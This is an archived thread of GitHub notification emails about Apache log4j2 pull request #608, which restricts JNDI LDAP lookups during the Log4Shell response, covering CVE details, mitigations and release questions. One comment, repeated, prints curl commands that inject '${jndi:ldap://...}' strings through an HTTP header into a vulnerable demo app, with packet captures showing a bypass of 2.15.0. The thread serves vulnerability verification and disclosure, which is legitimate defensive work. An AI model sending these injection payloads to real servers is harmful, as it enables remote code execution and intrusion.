> I reported this denial of Service Vulnerability (cve-2021-45046) to the logging PMC last week. Although I didn't propose threadcontext, I explained the trigger method of the denial of service vulnerability. In terms of time, I should have proposed it earlier, but I didn't see my name in the CVE credit. I hope my name can also be added to the CVE credit. 4ra1n
@EmYiQing Apologies if we missed anyone in giving proper credit to the people who helped discovering these vulnerabilities.
The Apache Logging PMC have been extremely busy with confirming and fixing the vulnerability reports, releasing new versions of the software, and communicating about the vulnerabilities. When I woke up this morning I found my inbox had grown to 700+ unread messages. :-)
Please don't hesitate to remind us again in a few days or a week or so when we have a bit more breathing space.
Thank you for your understanding!
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] quaff edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
quaff edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-995493864
@remkop Description of `CVE-2021-45046` is not accurate, could you verify and update security page?
> Thread Context Map pattern (%X, %mdc, or %MDC)
I can confirm that `Thread Context Map pattern` is not affected, migrating from `Context Lookup` to `Thread Context Map pattern` could be mitigation.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] carterkozak commented on a change in pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
carterkozak commented on a change in pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#discussion_r760083167
##########
File path: log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java
##########
@@ -168,21 +206,89 @@ protected boolean releaseSub(final long timeout, final TimeUnit timeUnit) {
* @throws NamingException if a naming exception is encountered
*/
@SuppressWarnings("unchecked")
- public <T> T lookup(final String name) throws NamingException {
+ public synchronized <T> T lookup(final String name) throws NamingException {
+ try {
+ URI uri = new URI(name);
+ if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
+ LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
+ return null;
+ }
+ if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
+ if (!allowedHosts.contains(uri.getHost())) {
+ LOGGER.warn("Attempt to access ldap server not in allowed list");
+ return null;
+ }
+ Attributes attributes = this.context.getAttributes(name);
Review comment:
Are we confident the attributes resolved here are equivalent to the results of `context.lookup`? I imagine the attributes could change over time.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] GalvinGao edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
GalvinGao edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990106334
> > > > Is it a security vulnerability?
> > >
> > >
> > > I think it is.
> > > It is very surprising that this critical security issue does not seem to have received due attention. It was reported to Apache half a month ago, but it was not fixed until five days ago. Even today, it has not released a new stable version to solve it.
> >
> >
> > Oh so glad you show such appreciation for the work of volunteers...
>
> @garydgregory
>
> I wonder when log4j 2.15 will be officially released? It's hard to imagine that the craziest vulnerability this year has not been solved in the release half a month after it was reported.
>
> Its impact is unimaginable. Countless services using log4j2 are exposed to the risk of being attacked, and the way to attack them is surprisingly simple. Even now I dare not open my minecraft server, because any member can attack it if they want - he/she can easily control my server by sending a text through the chat bar.
>
> Is there anyone dealing with this matter urgently? It's really incomprehensible that I didn't see Apache give any emergency warning under such a serious problem.
+1, and we are in desperate need of a CVE and security advisory to be announced asap. This could affect hundreds of thousands, if not millions, of services actively running on the internet.
We of course appreciate the efforts from contributors, but overall this is a major security issue that needs a new version release and a security advisory.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] peturthors commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
peturthors commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990879257
Hi there.
Would setting the JVM property `com.sun.jndi.ldap.object.trustURLCodebase = false` mitigate this ?
Thanks.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] Glavo edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
Glavo edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990094911
> > > Is it a security vulnerability?
> >
> >
> > I think it is.
> > It is very surprising that this critical security issue does not seem to have received due attention. It was reported to Apache half a month ago, but it was not fixed until five days ago. Even today, it has not released a new stable version to solve it.
>
> Oh so glad you show such appreciation for the work of volunteers...
@garydgregory
I wonder when log4j 2.15 will be officially released? It's hard to imagine that the craziest vulnerability this year has not been solved in the release half a month after it was reported.
Its impact is unimaginable. Countless services using log4j2 are exposed to the risk of being attacked, and the way to attack them is surprisingly simple. Even now I dare not open my minecraft server, because any member can attack it if they want - he/she can easily control my server by sending a text through the chat bar.
Is there anyone dealing with this matter urgently? It's really incomprehensible that I didn't see Apache give any emergency warning under such a serious problem.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] sysmat commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
sysmat commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990814971
@Baoqi so this CVE impact log4j v 1.xx only if app is using JMSAddapter or not?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] ceki commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
ceki commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991796194
> > When there are literally millions of log4j 1.x users out there, can you stop toying around?
> > There is no lookup expansion in log4j 1.x and it does not suffer from [CVE-2021-44228](https://github.com/advisories/GHSA-jfh8-c2jp-5v3q). How hard is it to admit?
>
> Hi @ceki, thank you for clarifying that Log4j 1.x is not impacted by this vulnerability. I updated my previous comments by linking to [your analysis on Twitter](https://twitter.com/ceki/status/1469449618316533762), happy to link to other sources as well.
There are actually two vulnerabilities. The one outlined here and CVE-2021-44228. Log4j 1.x is not vulnerable to CVE-2021-44228. However, it is vulnerable to lesser JNDI injection exploits, that is to an attacker already having write access to its config file.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] GSPP commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
GSPP commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991863991
With this fix, can a log message still cause any side-effect at all? If yes, that seems rather dangerous since log messages are often attacker-controlled.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] tony-- commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
tony-- commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991982037
@zhangyoufu @remkop the suggestion to
> remove org/apache/logging/log4j/core/lookup/JndiLookup.class from log4j-core-*.jar as a workaround
is called out as an option for releases >=2.0-beta9 and <=2.10.0 on the Apache security blog, but it should work for every version, correct?
It's just that better mitigation options are available for 2.10.0+?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] TopStreamsNet commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
TopStreamsNet commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991723301
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] iamamoose commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
iamamoose commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-990788953
https://www.cve.org/CVERecord?id=CVE-2021-44228
https://logging.apache.org/log4j/2.x/security.html
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991248202
2.15.0 is already released.
On Fri, Dec 10, 2021, 14:43 Ali Mosajjal ***@***.***> wrote:
> Hi Team,
>
> I know a lot of local Maven package managers don't pull the RC version of
> a release automatically (Nexus etc), is there a chance we can push RC2 to a
> stable release at this point? I'm assuming half the world is already using
> it.
>
> —
> You are receiving this because you were mentioned.
> Reply to this email directly, view it on GitHub
> <https://github.com/apache/logging-log4j2/pull/608#issuecomment-991246265>,
> or unsubscribe
> <https://github.com/notifications/unsubscribe-auth/AAJB6N7T6S4R4KRZ4FL24B3UQJJ45ANCNFSM5JA3ZEGA>
> .
> Triage notifications on the go with GitHub Mobile for iOS
> <https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675>
> or Android
> <https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub>.
>
>
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] lawndoc edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
lawndoc edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991297822
I think this [fix may have been bypassed](https://twitter.com/stereotype32/status/1469313856229228544?s=20) and that the latest release is still vulnerable... Haven't verified this for myself yet, just reporting what I just found
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] philipwhiuk commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
philipwhiuk commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-991305906
> https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/net/JMSAppender.html
This presumably requires configuring the appending though, so a simple FileAppender ConsoleAppender wouldn't be vulnerable?
There's no lookup expansion in 1.x, right?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] SpComb commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
SpComb commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993469509
> Following up on my question if this fixes usage with other property substitutions like ctx: [#608 (comment)](https://github.com/apache/logging-log4j2/pull/608#issuecomment-992427010)
>
> Apparently I could confirm my assumption regarding the usage of Thread Context Map, I created a PR here ([lunasec-io/lunasec#298](https://github.com/lunasec-io/lunasec/pull/298)) and made changes to the demonstration app to demonstrate the vulnerability even with `formatMsgNoLookups=true` set shown here: https://github.com/kmindi/log4shell-vulnerable-app.
>
> Here is also the diff to see what I changed to demonstrate vulnerable `${ctx.apiversion}` usage in the log pattern: [kmindi/log4shell-vulnerable-app@e539f7e](https://github.com/kmindi/log4shell-vulnerable-app/commit/e539f7e9a0c81e2c580d63caff5f4eae14033f19)
>
> Can someone confirm this?
Yes: `curl -v 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://example.net/test}'` results in a DNS lookup with 2.14.1, whereas the attacker-controlled input in the message field does not:
```
41 17.676741911 172.17.0.1 -> 172.17.0.2 HTTP 209 GET / HTTP/1.1
42 17.676769664 172.17.0.2 -> 172.17.0.1 TCP 66 8080 > 56934 [ACK] Seq=1 Ack=144 Win=30080 Len=0 TSval=346936700 TSecr=2382643118
43 17.680613689 172.17.0.2 -> 10.52.0.2 DNS 79 Standard query 0xffa9 A example.net
44 17.680814368 10.52.0.2 -> 172.17.0.2 DNS 79 Standard query response 0xffa9 No such name
45 17.687397342 172.17.0.2 -> 172.17.0.1 HTTP 193 HTTP/1.1 200 (text/plain)
```
The bad news: this seems to also work with 2.15.0, `X-Api-Version: ${jndi:ldap://localhost/test}` results in a TCP connection to localhost:389:
```
$ docker exec -it log4shell-vulnerable-app jar -tvf /app/spring-boot-application.jar | grep log4j
828 Tue Dec 14 11:55:34 GMT 2021 BOOT-INF/classes/log4j2.properties
24231 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-slf4j-impl-2.15.0.jar
1789769 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-core-2.15.0.jar
30947 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-jul-2.15.0.jar
301804 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-api-2.15.0.jar
```
```
$ curl -v "$(docker inspect -f '{{.NetworkSettings.IPAddress}}' log4shell-vulnerable-app):8080/" -H 'X-Api-Version: ${jndi:ldap://localhost/test}'
* Trying 172.17.0.2:8080...
* Connected to 172.17.0.2 (172.17.0.2) port 8080 (#0)
> GET / HTTP/1.1
> Host: 172.17.0.2:8080
> User-Agent: curl/7.76.1
> Accept: */*
> X-Api-Version: ${jndi:ldap://localhost/test}
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 13
< Date: Tue, 14 Dec 2021 11:57:10 GMT
<
* Connection #0 to host 172.17.0.2 left intact
Hello, world![
```
```
$ sudo nsenter -t "$(docker inspect -f '{{.State.Pid}}' log4shell-vulnerable-app)" -n tshark -i lo -n
Running as user "root" and group "root". This could be dangerous.
Capturing on 'Loopback'
1 0.000000000 127.0.0.1 -> 127.0.0.1 TCP 74 38380 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426441 TSecr=0 WS=128
2 0.000013194 127.0.0.1 -> 127.0.0.1 TCP 54 389 > 38380 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
3 0.023625945 127.0.0.1 -> 127.0.0.1 TCP 74 38382 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426464 TSecr=0 WS=128
4 0.023636425 127.0.0.1 -> 127.0.0.1 TCP 54 389 > 38382 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
5 0.027652034 127.0.0.1 -> 127.0.0.1 TCP 74 38384 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426468 TSecr=0 WS=128
6 0.027662963 127.0.0.1 -> 127.0.0.1 TCP 54 389 > 38384 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
7 0.042974136 127.0.0.1 -> 127.0.0.1 TCP 74 38386 > 389 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=1022426484 TSecr=0 WS=128
8 0.042985398 127.0.0.1 -> 127.0.0.1 TCP 54 389 > 38386 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
```
This requires a pattern configured to use `${ctx:...}` lookups with attacker-controlled `ThreadContext` values, which seem to get expanded recursively.
The JNDI restrictions work correctly (no DNS lookups for `example.net`, only `localhost` connections), but the https://issues.apache.org/jira/browse/LOG4J2-3198 "disable message lookups by default" does not seem to apply to `${ctx:...}` lookups.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] SpComb commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
SpComb commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993560912
> I'm not quite sure what that means or where we should continue the discussion about that, if it s a new attack vector etc.
This should really have been reported privately, or at the minimum via a separate GitHub issue, rather than via a public GitHub PR comment.
For anyone else that may come across similar follow-up issues, I suggest you follow the instructions on the log4j project website, and use the private@logging.apache.org email address: https://logging.apache.org/log4j/2.x/security.html
> If you have encountered an unlisted security vulnerability or other unexpected behaviour that has security impact, or if the descriptions here are incomplete, please report them privately to the [Log4j Security Team](private@logging.apache.org). Thank you.
If this does turn out to be a new attack vector, it probably needs a new CVE number. I've attempted to contact the relevant security contacts to take this further, I don't know what else to do.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] EmYiQing removed a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
EmYiQing removed a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-995498548
@remkop
Friends, For more analysis on denial of service vulnerabilities, please refer to my article: https://xz.aliyun.com/t/10670
（If you can't understand the articles I wrote in Chinese, you can use Google to translate them into English）
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] garydgregory commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
garydgregory commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992382778
> > If you look at how jndi works in 1.x you will find that there are two places where lookups are done - that is JMSAppender.java:207 and JMSAppender.java:222
>
> For those of us who are stuck with 1.x and paranoid, it looks like we could just always throw here and repackage the 1.x release `.jar`: https://github.com/apache/log4j/blob/trunk/src/main/java/org/apache/log4j/net/JMSAppender.java#L245
>
> Thoughts?
If you do that, the code won't compile... you'd need to replace that line with something else like a return null.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] tony-- edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
tony-- edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993170115
> > The confusion is made worse as this is a RedHat "CVE" which is not registered with cve.org.
>
> It was just pushed to cve.org and should be visible soon. We decided to keep the Red Hat allocated CVE to save creating yet another and rejecting theirs. The text of the entry was written by ASF.
@iamamoose
Can someone from ASF (who is involved with Log4j/Log4j 2, maybe whoever wrote the text for the CVE) confirm that an effective mitigation for CVE-2021-4104 is to remove JMSAppender from log4j-1.2.x.jar? Would it be possible to include that in the CVE description? This would be similar to the strategy identified for CVE-2021-44228 as well as the informal strategy used for CVE-2019-17571. It's clear based on all of the discussion that many are interested in how to deal with this in Log4j 1.x, so it would be great if there was a clear mitigation defined. If not in the CVE description, perhaps in a JIRA entry or a mailing list message?
@remkop responded
> Yes I believe that removing the JMSAppender class from the Log4j 1.x jar will mitigate this vulnerability.
which is helpful, I'm just looking for a more committed response than "I believe" :)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] tony-- edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
tony-- edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993170115
> > The confusion is made worse as this is a RedHat "CVE" which is not registered with cve.org.
>
> It was just pushed to cve.org and should be visible soon. We decided to keep the Red Hat allocated CVE to save creating yet another and rejecting theirs. The text of the entry was written by ASF.
@iamamoose
Can someone from ASF confirm that an effective mitigation for CVE-2021-4104 is to remove JMSAppender from log4j-1.2.x.jar? Would it be possible to include that in the CVE description? This would be similar to the strategy identified for CVE-2021-44228 as well as the informal strategy used for CVE-2019-17571. It's clear based on all of the discussion that many are interested in how to deal with this in Log4j 1.x, so it would be great if there was a clear mitigation defined. If not in the CVE description, perhaps in a JIRA entry or a mailing list message?
Is there a better place for me to request/propose this?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] philipwhiuk commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
philipwhiuk commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993440874
> I see a lot of comments that "log4j 1.x has reached its end of life". However, is there a chance there will be log4j 1.2.18 that just removes the offending features (e.g. JMSAppender, JmsSink, Chainsaw, SocketServer, SocketNode)?
>
> It just does not sound right that the only log4j team answer is "migrate to 2.x or try removing class files from jars".
The Socket vulnerability (7.5) has been around for more than 4 years. The SMTP vulnerability has been around for over a year. You've had ages to migrate libraries.
If it's important to Netcracker Tech maybe you could approach the Apache Software Foundation and ask to maintain Log4J 1.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] SpComb edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
SpComb edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993560912
> I'm not quite sure what that means or where we should continue the discussion about that, if it s a new attack vector etc.
This should really have been reported privately, or at the minimum via a separate GitHub issue, rather than via a public GitHub PR comment.
For anyone else that may come across similar follow-up issues, I suggest you follow the instructions on the log4j project website, and use the private@logging.apache.org email address: https://logging.apache.org/log4j/2.x/security.html
> If you have encountered an unlisted security vulnerability or other unexpected behaviour that has security impact, or if the descriptions here are incomplete, please report them privately to the [Log4j Security Team](private@logging.apache.org). Thank you.
If this does turn out to be a new attack vector, it probably needs a new CVE number. I've attempted to contact the relevant security contacts to take this further, I don't know what else to do.
EDIT: https://issues.apache.org/jira/browse/LOG4J2-3221 new Jira ticket for tracking this issue, which strictly speaking isn't relevant to the JDNI restrictions in this PR. The `log4j2.allowedJndiProtocols/Hosts/Classes` defaults implemented in https://github.com/apache/logging-log4j2/pull/608 / 2.15.0 are good, and the `log4j2.enableJndi=false` in https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea / 2.15.1-rc1 / 2.16.0 are even better.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] brunoborges edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
brunoborges edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-994180618
While no Java version can effectively mitigate the issue, I want to point out that developers using `jlink` on Java 9+ for assembling custom runtimes that do **not** include `java.naming` module, are in fact not vulnerable to any JNDI related attack.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] EmYiQing commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
EmYiQing commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-995268775
@mrdgsmith Here I discuss the denial of Service Vulnerability **CVE-2021-45046** rather than the Remote Code Execution Vulnerability **CVE-2021-44228**
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] asokolov-flex commented on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
asokolov-flex commented on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-992466963
@remkop We are using apache solr 4 version in alfresco environment and we want to update the version of log4j2 .
Can you guide me how to do update the log4j2 version in Solr 4?
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: notifications-unsubscribe@logging.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
[GitHub] [logging-log4j2] SpComb edited a comment on pull request #608: Restrict LDAP access via JNDI
Posted by GitBox <gi...@apache.org>.
SpComb edited a comment on pull request #608:
URL: https://github.com/apache/logging-log4j2/pull/608#issuecomment-993469509
> Following up on my question if this fixes usage with other property substitutions like ctx: [#608 (comment)](https://github.com/apache/logging-log4j2/pull/608#issuecomment-992427010)
>
> Apparently I could confirm my assumption regarding the usage of Thread Context Map, I created a PR here ([lunasec-io/lunasec#298](https://github.com/lunasec-io/lunasec/pull/298)) and made changes to the demonstration app to demonstrate the vulnerability even with `formatMsgNoLookups=true` set shown here: https://github.com/kmindi/log4shell-vulnerable-app.
>
> Here is also the diff to see what I changed to demonstrate vulnerable `${ctx.apiversion}` usage in the log pattern: [kmindi/log4shell-vulnerable-app@e539f7e](https://github.com/kmindi/log4shell-vulnerable-app/commit/e539f7e9a0c81e2c580d63caff5f4eae14033f19)
>
> Can someone confirm this?
Yes: `curl -v 172.17.0.2:8080 -H 'X-Api-Version: ${jndi:ldap://example.net/test}'` results in a DNS lookup with 2.14.1, whereas the attacker-controlled input in the message field does not:
```
41 17.676741911 172.17.0.1 -> 172.17.0.2 HTTP 209 GET / HTTP/1.1
42 17.676769664 172.17.0.2 -> 172.17.0.1 TCP 66 8080 > 56934 [ACK] Seq=1 Ack=144 Win=30080 Len=0 TSval=346936700 TSecr=2382643118
43 17.680613689 172.17.0.2 -> 10.52.0.2 DNS 79 Standard query 0xffa9 A example.net
44 17.680814368 10.52.0.2 -> 172.17.0.2 DNS 79 Standard query response 0xffa9 No such name
45 17.687397342 172.17.0.2 -> 172.17.0.1 HTTP 193 HTTP/1.1 200 (text/plain)
```
The bad news: this seems to also work with 2.15.0, `X-Api-Version: ${jndi:ldap://localhost/test}` results in a TCP connection to localhost:389:
```
$ docker exec -it log4shell-vulnerable-app jar -tvf /app/spring-boot-application.jar | grep log4j
828 Tue Dec 14 11:55:34 GMT 2021 BOOT-INF/classes/log4j2.properties
24231 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-slf4j-impl-2.15.0.jar
1789769 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-core-2.15.0.jar
30947 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-jul-2.15.0.jar
301804 Tue Dec 14 11:55:28 GMT 2021 BOOT-INF/lib/log4j-api-2.15.0.jar
```
```
$ curl -v "$(docker inspect -f '{{.NetworkSettings.IPAddress}}' log4shell-vulnerable-app):8080/" -H 'X-Api-Version: ${jndi:ldap://localhost/test}'
* Trying 172.17.0.2:8080...
* Connected to 172.17.0.2 (172.17.0.2) port 8080 (#0)
> GET / HTTP/1.1
> Host: 172.17.0.2:8080
> User-Agent: curl/7.76.1
> Accept: */*
> X-Api-Version: ${jndi:ldap://localhost/test}
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 13
< Date: Tue, 14 Dec 2021 11:57:10 GMT
<
* Connection #0 to host 172.17.0.2 left intact
Hello, world![
```
```
